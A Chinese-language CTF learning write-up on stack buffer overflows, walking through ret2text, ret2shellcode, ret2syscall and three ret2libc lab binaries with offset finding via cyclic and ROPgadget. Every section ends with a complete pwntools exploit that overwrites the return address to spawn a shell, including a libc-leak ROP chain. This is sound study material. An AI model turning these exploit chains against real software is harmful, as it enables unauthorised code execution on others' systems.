开始做题之前,首先要复现一下做题的思路,首先用IDA软件分析出伪代码之后,可以找到缓冲区距离esp和ebp的偏移值;但IDA上分析的其实不是很准;

所以就学习了一下cyclic指令,使用这个指令会生成一堆有序字符串,使用cyclic -l 0x61616161 (四个字符组成的hex)可以查看这四个字符之前有多少个字符;

利用这个原理,对题目输入这串字符串;返回值肯定会报错无法返回,因为地址被覆盖为了4个字符的hex,用报错的地址来代入上面的指令就可以知道缓冲区的大小,找到正确的返回位置;

另外一个犯得错误就是python3不能在一个字符串上同时写入字符串和byte类型;

注意gets , write , read 这一类的函数,是危险函数,它们的读入不会限制长度,所以输入超出缓冲区的长度的内容会覆盖更低缓冲区的内容,用这个特点来更改返回地址;

genshin

ret2text

首先用IDA分析;

function

用蓝线分出了三个部分,上面的是main函数,中间的是一个叫secure的函数,而下面的是执行system函数的汇编代码以及它的地址;

找到gets函数,那么可以利用输入垃圾字符(比如a)填充满缓冲区,最后用0x0804863a的byte类型填充,让返回地址被覆盖为执行system函数的位置;

上面说过,IDA会突发恶疾,不要信它分析出来的偏移,自己用cyclic指令来找偏移;

debug

这张图的顺序是从上往下,从左往右看;

使用cyclic 200 生成200个有序字符;之后在调试状态下输入这200个字符;继续运行,发现一个错误:Invalid address 0x62616164;使用指令cyclic -l 0x62616164,发现这四个字符之前有112个,所以在地址被覆盖前有112个空位置;

接下来就可以写脚本通过这个程序去执行system函数进而运行shell程序了;

Exp:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./ret2text')
address = 0x0804863a
payload = b'a' * 112 + p32(address)
p.recvuntil('There is something amazing here, do you know anything?\n')
p.sendline(payload)
p.interactive()

ret2shellcode

这道题和上面一道的不同在于NX保护关闭,栈内数据可执行,且分析IDA可知,这里没有system函数;

main

利用第一题的思路可以求出返回地址的偏移也是112;

这道题的原本思路应该是复制输入的数据到buf2,而buf2所在的段应该是可执行的,然后return到buf2执行输入的shellcode;但这道题的buf2所在段是不可执行的;

bss

可以看到buf2所在的bss段属于0x804a000到0x804b000,但如右下角的段显示,rwxp,少个x,也就是不可执行;

这里先放出如果是可执行的思路,那么就很简单了,只需要输入二进制指令开启system函数(称为shellcode)和一堆无用字符填充空白,使最后的返回地址成为buf2,跳转过去后就会立刻执行输入的指令了;

Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #pwn库自带的asm函数,翻译指令shellcraft.sh()为二进制数据
buf2 = 0x0804A080
payload = shellcode.ljust(112,b'a') + p32(buf2) #ljust是python自带函数,用于左对齐填充数据
gdb.attach(p)
p.recvuntil('No system for you this time !!!\n')
p.sendline(payload)
p.interactive()

但有个漏洞理论上是可以利用的,就是NX保护没开,栈上指令可执行,输入的数据也存在于栈上;

那就得想办法使其return到输入的栈地址上;但栈地址是会变换的;试了几个都找不到正确的地址;

gdb上的栈显示是真的看不懂,IDA上的都还好一点,至少还有esp和ebp的指向地址,但很可惜这道题不能远程用IDA调试,别问,问就是有毒;

所以遗憾地没找到返回时,shellcode的栈地址,中大鬼;

ret2syscall

做题之前,首先需要了解一个东西叫做系统调用,linux系统中会有一个地址为int 0x80(默认这个就是一个名称),调用这个地址的时候,会中断程序进入内核状态执行系统命令,通过寄存器的值来执行;

例如:execve的系统调用号为 0xb,存在于eax中;

ebx的值为execve函数的第一个参数,指向/bin/sh的地址;

ecx,edx为0;

当寄存器的值为以上这些的时候,执行int 0x80时,会执行

1
execve('/bin/sh',NULL,NULL)

IDA分析:

main

而这道题没有后门,没有可执行的段,所以需要控制寄存器,返回地址为int 0x80;

控制寄存器需要用到pwn的工具 ROPgadget,使用命令:

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

可以查找出 ret2syscall程序中,关于eax寄存器进行出栈和返回的操作,从而利用这些地址控制eax寄存器并返回当前地址;

同理查找出其他寄存器以修改其值;

在使用ROPgadget指令后可以找到一些可以利用的地址;

ROPgadget

这里使用 0x080bb196来控制eax,0x0806eb90来控制edx,ecx,ebx;

并且我们找到了出题人非常体贴的 /bin/sh 字符串;以及int 0x80;

用cyclic算出填充长度也是之前的112;

这里介绍一个pwntools里的函数,flat(),它可以把输入进去的内容变成byte类型,且填充长度为4字节;

则Exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2syscall')
int_0x80 = 0x08049421
bin_sh = 0x080be408
eax = 0x080bb196
edx_ecx_ebx = 0x0806eb90
payload = flat(['a' * 112, eax, 0xb, edx_ecx_ebx, 0, 0, bin_sh, int_0x80])
p.recvuntil('What do you plan to do?\n')
p.sendline(payload)
p.interactive()

ret2libc1

IDA分析:

function

有一个main,和一个secure;但这次的secure并不是执行的 ‘/bin/sh’ ;

在字符串里可以找到 ‘/bin/sh’ ;

address

所以这次我们在返回处返回调用system函数的地址,将其参数改为 ‘/bin/sh’ 的地址;

由cyclic算出补充长度为112;

Exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process('./ret2libc1')
system = 0x08048460
binsh = 0x08048720
payload = flat(['a' * 112, system, 'a' * 4, binsh])
p.recvuntil('RET2LIBC >_<\n')
p.sendline(payload)
p.interactive()

这里说明两点,调用system函数时,第一个参数是返回地址,所以可以随便编一个,如 ‘aaaa’;

调用system函数需要返回.plt段的地址,不能直接返回.got,不然会出错,所以exp里的system地址会不一样;

ret2libc2

这道题和1其实类似,只是少了 ‘/bin/sh’ 的字符串;

所以我们需要构造这样的字符串;可以用gets函数输入一个字符串,接着再调用system;

gets函数的参数好像会关系到ebx,所以可以修改它的值为.bss段上的地址,以方便用于system函数;

这里先找到地址:

address

Exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2libc2')
buf2 = 0x0804a080
system = 0x08048490
gets = 0x08048460
ebx = 0x0804843d
payload = flat(['a'*112, gets, ebx, buf2, system, 0x61616161, buf2])
p.sendline(payload)
p.sendline('/bin/sh') #gets输入
p.interactive()

ret2libc3

IDA分析:

function

这道题相对于1来说没了system的plt地址,也没有 ‘bin/sh’ 的字符串;

如何获得system函数的地址?

wiki上给出了2点:

① system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的;

② 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变;

说人话就是找到got表中的 libc_start_main,因为每个程序都会有它,所以可以用它来加上已知偏移找到system函数;

这里会使用一个库:LibcSearcher;下载地址:

学习之后写如下内容:

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#创建文件和进程
at = process('./ret2libc3')
elf = ELF('./ret2libc3')
#获取当前elf文件使用的libc文件
libc = elf.libc

#泄露got表
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload1 = flat([b"A" * 112, puts_plt, start_addr, puts_got])
at.sendlineafter("Can you find it !?", payload1)

#获取泄露数据
puts_addr = u32(at.recv(4))
#进程实际基址
libc.address = puts_addr - libc.symbols['puts']

#默认加上基址
system_addr = libc.symbols['system']
#正则搜索
binsh_addr = next(libc.search(b'/bin/sh'))
#返回到_start不需要管栈平衡
payload2 = flat([b"A" * 112, system_addr, b"A"*4, binsh_addr])
at.sendline(payload2)
at.interactive()

总结

做ret系列的题可以对程序中的栈结构理解更加深刻,以及对elf的文件结构更加熟悉;

总的下来,更多的体会是偏移的查找困难,之前的逆向工程核心原理中的PE部分,也是磁盘的RAW和内存的RVA换算,以及用头找偏移会比较困难;

之后CTF也会开始了,我想在CTF中我也许也会见到如此类型的题目,或许可以从中找到些偏移计算的灵感;

genshin